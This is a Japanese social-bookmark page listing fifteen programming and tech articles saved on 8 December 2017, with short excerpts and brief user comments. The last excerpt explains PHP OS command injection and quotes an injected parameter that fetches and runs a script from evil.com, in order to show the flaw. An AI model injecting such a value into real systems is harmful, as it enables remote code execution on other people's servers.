タグ

2017年12月8日のブックマーク (15件)

  • JenkinsとGitHubのWebhook連携の整理

    Jenkins と GitHub を連携させる Webhook について GitHub と Jenkins を連携させる機能のひとつに「Webhook」と呼ばれるものがあります。この Webhook をつかうことで、 GitHub 上で管理しているリポジトリにブランチを push したときや、新たに Pull Request を作成した時などに Jenkins のジョブを走らせるといったことができます。 しかしながら、 Jenkins や Jenkins の複数のプラグインが Webhook の機能を提供しており、どの機能がどのサービスを提供しているのかがわかりづらくなっているのが現状です。そこでこのエントリーでは、それぞれの機能でどのような特徴があり、どういった設定が必要なのかを、実際に設定を行いながら整理したいと思います。 なお使用している Jenkins のバージョンはこの記事執筆時

    JenkinsとGitHubのWebhook連携の整理
    zetta1985
    zetta1985 2017/12/08
  • 時雨堂を支える固定時間労働 1 日 6 時間

    You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

    時雨堂を支える固定時間労働 1 日 6 時間
    zetta1985
    zetta1985 2017/12/08
  • Fluentdを使ってNginxLogをMysqlにリアルタイムで格納する - Y's note

    エキスパートのためのMySQL[運用+管理]トラブルシューティングガイド 作者: 奥野幹也出版社/メーカー: 技術評論社発売日: 2010/06/12メディア: 大型購入: 16人 クリック: 204回この商品を含むブログ (31件) を見る 重要なデータはMysqlへ CentOSでNginxのログをFluentdを使ってMongodbにリアルタイムで格納する - Yuta.Kikuchiの日記 MongoDBの集計機能が便利過ぎて泣けてくるお話し - Yuta.Kikuchiの日記 最近は大学生に良く間違われる現在30歳の@yutakikucです。今日はNginxLogの必要な項目をMysqlにリアルタイムで格納することを試してみます。重要なデータはどこに格納するの..? Mysqlでしょ!という人向けに書いてみます。過去にMongodbに格納して集計するエントリーを書いたのでそちら

    Fluentdを使ってNginxLogをMysqlにリアルタイムで格納する - Y's note
    zetta1985
    zetta1985 2017/12/08
  • ドリコムの Gemfile 記述スタイル - Tech Inside Drecom

    この記事ではドリコムにおける Gemfile, gems.rb の記載ルールについてまとめています。 元々はノールールでしたが,2014-04-28 に Idobata Gemfile プレゼント が公開されたことから輸入されました。輸入したのち,一部を社内向けに改訂しています。 では題。 1. gem の並び順は ascii 順 新しく追加するgemをどこに入れるのか悩む時間を減らします。 独自ルール 例外は rails のみ。 if defined?(Rails) で require を切り替えている gem が複数あるため,一番上に書いて最初に読み込みます。 余談ですが、このルールを自動化しようと https://github.com/sue445/rubocop-gemfile を @sue445 が作ったのとほぼ同時に RuboCop 体にも Bundler/OrderedG

    ドリコムの Gemfile 記述スタイル - Tech Inside Drecom
    zetta1985
    zetta1985 2017/12/08
    まじすか“ライブラリのバージョンはできるだけ指定しない”
  • Djangoでモデルオブジェクトの変更前のデータをチェックする - Qiita

    概要 便利そうだから、いつか使いたいなと思いつつ、ニッチなのでなかなか使えない機能シリーズ django-model-utils というライブラリがある その中でも FieldTracker という機能が気に入っている。 実際に仕事で使ったことはない FieldTracker is 何? 簡単に言うと、saveする前のモデルオブジェクトに何かしら変更があったらそれを検知できる機能 from django.db import models from model_utils import FieldTracker class Post(models.Model): title = models.CharField(max_length=100) body = models.TextField() tracker = FieldTracker()

    Djangoでモデルオブジェクトの変更前のデータをチェックする - Qiita
    zetta1985
    zetta1985 2017/12/08
    saveメソッドに渡すupdate_fieldsを動的に生成できそう
  • Python語訳 Cousera - Machine Learning: 回帰・分類 - Qiita

    あらまし Couseraの機械学習コースをはじめました.前々から視界にはかすめていたのですが、やっと今頃重い腰を上げた次第です.しかし、Octaveで書くのが少々億劫1だったこと、コードの一部を埋めるのではなくインターフェイスから全て自分で書いたほうが勉強になると思い、Pythonで書き直してみることにしました.この記事は自分の勉強メモです. 一応Courseraを受講していない人でもなんとか追えるかな?という内容にしたつもりです.もし興味を持たれたら、ぜひ受講してみてください.最高に丁寧ですばらしい講義ですよ. 巷に溢れる機械学習の教材のひとつとして、利用して頂けると幸いです. 機械学習のキモ 機械学習で登場する重要キャラクターの紹介です.5人います: ① $X$: 入力データセット.例えば 1.土地の広さとか、 2.タイタニック号乗船者の性別・年齢とかとか ② $y$: 出力データセッ

    Python語訳 Cousera - Machine Learning: 回帰・分類 - Qiita
    zetta1985
    zetta1985 2017/12/08
  • Rustに100日触れてわかったこと - Qiita

    Rustは「学習コストが高い?」「関数型プログラミング言語?」 と思っていた私が、実際にRustに触れてみて得られた知見をまとめました。 プログラミング言語の多くの課題を解決してくれる言語 Rustは「安全性」「速度」「並列性」を考慮して設計されています。 言語セマンティクスを強く定義し(Ownershipやlifetime 後述)、ネットワークコネクションなどのリソース管理全般に関するバグを、コンパイル時に発見してくれることで実現しているといえます。 最初はコンパイルが厳しくて「書いたコードはあってるはず...」 と、陥るほどに暗黙的な印象を感じます。コンパイルの厳格さは、人間が間違えないようにするために、静的に解析できる情報をなるべく多く与え、機械的に検証するためだと考えます。 ひと言でまとめると「コンパイルへの押し付け」です。 安全性に重きをおきながら、zero cost abstr

    Rustに100日触れてわかったこと - Qiita
    zetta1985
    zetta1985 2017/12/08
  • Payment Request API のよくある誤解を解く

    このポストは Chromium Browser Advent Calendar 2017 の 12/8 分です。先日 Medium に投稿した英語版を翻訳し、日向けに若干加筆したものになります。 Payment Request API が登場してからというもの、おかげさまで非常に多くの方に興味を持っていただいています。一方、その複雑さから勘違いや、誤った情報を元に盛り上がってしまっているような状況が起きています。この記事では、みなさんの反応を見ている中でよくある誤解を解き、正確な情報を提供しようと思います。 そもそも Payment Request API が何かご存じないという方は、まずここから読んでいただくと良いと思います。 Web Payment API? Chrome Payment API? Google Payment API? # すべて間違いです。正しくは "Paymen

    Payment Request API のよくある誤解を解く
    zetta1985
    zetta1985 2017/12/08
  • DAOの実現に必要そうなものをまとめてみた - Qiita

    最近ICO、ハードフォークそして、相場の話題が中心となっているブロックチェーン界隈ですが、最近あまり話題に上がらなくなってきたDAOについて書きたいと思います。自分がDAOを実現したことはまだありませんが、DAOについて普段から思っていることをまとめてDAOをつくる要件を書き出してみました。 DAOとは DAOとは、Decentralize Autonomous Organizationの略で、日語では自律分散型組織と訳されます。簡単に言うと、中央に人や会社がいなくても、そして参加者が離れてたところに存在していても、自律的に運営し続けられる組織です。それでは、どうしてこのような組織が回るのか、というところを解説したいと思います。 自律するために必要なもの まずDAOを実現するためにテクニカルに必要なものを書いていきます。 最初にこの組織が自律して運営できるだけのルールが必要です。そして、

    DAOの実現に必要そうなものをまとめてみた - Qiita
    zetta1985
    zetta1985 2017/12/08
  • ScratchがSmalltalkで実装されていると何ができるのか? - Qiita

    序 去る2017年12月2日のNGK2017B(名古屋合同懇親会 2017年 忘年会)でSmalltalkからScratchをいじるデモをしました。この記事では、何をやっていたのかの解説をします。 なお、8分30秒あたりで近くにいた こはま(c0hama) さんを唐突に呼んで、前で操作してもらいました。 「あー」とか「えー」とか言っているのは、こはまさんです。協力ありがとうざいました。 説明 Smalltalkを出す (6分36秒あたり) 左上のScratchのロゴのRの穴のあたりをShiftを押しながらクリックするとメニューが出て来ます。"turn full screen off"をクリックすると、通常隠されているSmalltalkが現れます。 最新のScratchはFlashで実装されていますが、Scratchは当初Smalltalkで実装されていました。プロダクトとして出す場合は開発

    ScratchがSmalltalkで実装されていると何ができるのか? - Qiita
    zetta1985
    zetta1985 2017/12/08
    “「あー」とか「えー」とか言っているのは、こはまさん”
  • WebAssemblyでGC | κeenのHappy Hacκing Blog

    κeenです。この記事はWebAssembly Advent Calendar 2017 8日目の記事です。WebAssemblyでガーベジコレクションする話。 2017-12-08: ページサイズに関する誤りを訂正しました。その他加筆。 はじめてWebAssemblyを聞いたとき、「ブラウザでアセンブラが動くのか、よし、コンパイラを作ろう」と思ったかと思います。 私もそのうちの一人で去年頃こんなコンパイラを作り始めました。 しかしご覧のように進捗芳しくありません。 進捗が悪い理由の1つにGCがあります。最初はGCをCかRustで書いてemscriptenを通すつもりでしたがemscriptenを通したコードはどうにも扱いづらく、すぐに断念しました。 今でこそRustwasm32-unknown-unknownのターゲットがありますが当時はemscriptenしか選択肢がありませんでした

    WebAssemblyでGC | κeenのHappy Hacκing Blog
    zetta1985
    zetta1985 2017/12/08
    “アセンブラ手書き”
  • ブロックチェ-ンを構築しながら学ぶ | POSTD

    ブロックチェ-ンの仕組みを知るには構築するのが最短の方法 この記事を読んでいるということは、仮想通貨の拡大に興奮しているということですね。ブロックチェ-ンの仕組み、背後にある基的なテクノロジーについて知りたいのでしょう。 しかしブロックチェ-ンを理解するのは簡単ではありません。少なくとも私にはそうでした。大量の動画の中をさまよい、抜けだらけのチュートリアルに従い、結局、実例が少なすぎてフラストレーションが大きくなりました。 私は手を動かして学ぶのが好きです。コードのレベルで内容を扱わざるを得なくなり、そうすることで身に付くからです。同じようにやってもらえば、この解説が終わる頃には、機能するブロックチェーンが出来上がり、どのように動くかがしっかりと把握できるようになるでしょう。 準備 ブロックチェ-ンとはブロックという名の 不変でシーケンシャルな 一連のレコードだということを覚えてください

    ブロックチェ-ンを構築しながら学ぶ | POSTD
    zetta1985
    zetta1985 2017/12/08
  • 外国人採用で覚えておきたい3要素とは?──元DeNA海外担当・ミール氏に聞く「ここが変だよ日本企業」(後編)

    前編に引き続き、海外人材を採用するときのポイントを、Psychic VR Lab(サイキックVRラボ)のCAO(Chief Alliance Officer)・Mir Nausharwan(ミール・ノシェルワン)氏に聞いた。 ●関連記事 ・元DeNA、グリーの海外担当・ミール氏に聞く「ここが変だよ、日コンテンツの海外進出」 ・海外展開が失敗する理由は日人だけでやるから──元DeNA海外担当・ミール氏に聞く「ここが変だよ日企業」(前編) 仕事内容・役職・年収が大切 ──海外の人材を雇うときに重要なのは何でしょうか? ミール氏 仕事内容、役職、年収の3つが一致していることが非常に大事です。そもそも海外企業では、まず「ジョブディスクリプション」(職務記述書)をきちんと決めて募集しますし、採用される側もないと入らない。やるべきことや責任、権限などが明確に定義されているんです。 でも日の場合

    外国人採用で覚えておきたい3要素とは?──元DeNA海外担当・ミール氏に聞く「ここが変だよ日本企業」(後編)
    zetta1985
    zetta1985 2017/12/08
  • 【sketch】TwitterのUIトレースをして気がついた事|Masaki

    初めまして。UIデザイン勉強中のマサキ(@Masaki_4_5)です。 UIデザイン、とりわけiOS appのデザインスキルを得る一番の近道を探した結果、良いデザインから吸収するのがまず大事という事を聞きました。 このように、sketchで優れたアプリのUIトレースをし、その工程でページの遷移やそのUIになった訳を考察して行くことがスキル獲得にはもってこいらしいです。sketchさえあればお手軽ですしね。 早速Twitterのプロフィール画面とタイムラインの2画面を、Sketchを用いてトレースしてみました。Sketchを用いたトレースについてはネットで既に多く説明されていたのでつまずく事はありませんでした。 Twitterをトレースして気がついた事 左:元画像 右:トレース 1.フォントについてTwitterにはinstagramなどと同様に、和文には"Hiragino sans"、英文

    【sketch】TwitterのUIトレースをして気がついた事|Masaki
    zetta1985
    zetta1985 2017/12/08
  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

    zetta1985
    zetta1985 2017/12/08